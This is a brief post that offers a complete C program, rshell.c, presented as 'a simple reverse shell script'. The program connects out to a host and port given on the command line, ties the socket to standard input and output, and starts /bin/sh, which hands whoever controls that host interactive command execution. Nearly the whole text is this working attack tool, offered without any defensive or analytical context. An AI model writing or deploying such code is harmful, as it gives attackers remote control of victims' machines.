An simple reverse shell script ;)

rshell.c

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char * argv[]) {
	struct sockaddr_in Client;
	struct hostent  * ht;

	/* Shell values */
	char * shell_args[2];
	char * env[1];
	
	char * host;
	char * shell;
	char * ptr;

	unsigned short int port;

	int fd;

	if (argc < 3) {
		fprintf(stderr, "The argumment number's is incorrect\n");

		return EXIT_FAILURE;
	
	}

	host = argv[1];
	port = strtol(argv[2], &ptr, 10);
	shell = "/bin/sh";

	shell_args[0] = "-1";
	shell_args[1] = NULL;

	env[0] = NULL;

	if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
		perror("Socket");

		return EXIT_FAILURE;
	
	}

	if ((ht = gethostbyname(host)) == NULL) {
		fprintf(stderr, "Gethostbyname: Error resolving the Host/IP\n");

		return EXIT_FAILURE;
	
	}

	Client.sin_family = AF_INET;
	inet_aton(inet_ntoa(*((struct in_addr *)ht->h_addr)), &Client.sin_addr);
	Client.sin_port = htons(port);
	memset(Client.sin_zero, 0, sizeof(Client.sin_zero));

	if (connect(fd, (struct sockaddr *)&Client, sizeof(struct sockaddr)) == -1) {
		perror("Connect");

		return EXIT_FAILURE;
	
	}

	dup2(fd, 0);
	dup2(fd, 1);
	dup2(fd, 2);

	if (execve(shell, shell_args, env) == -1) {
		perror("Execve");
	
	}

	close(fd);

	return EXIT_SUCCESS;

}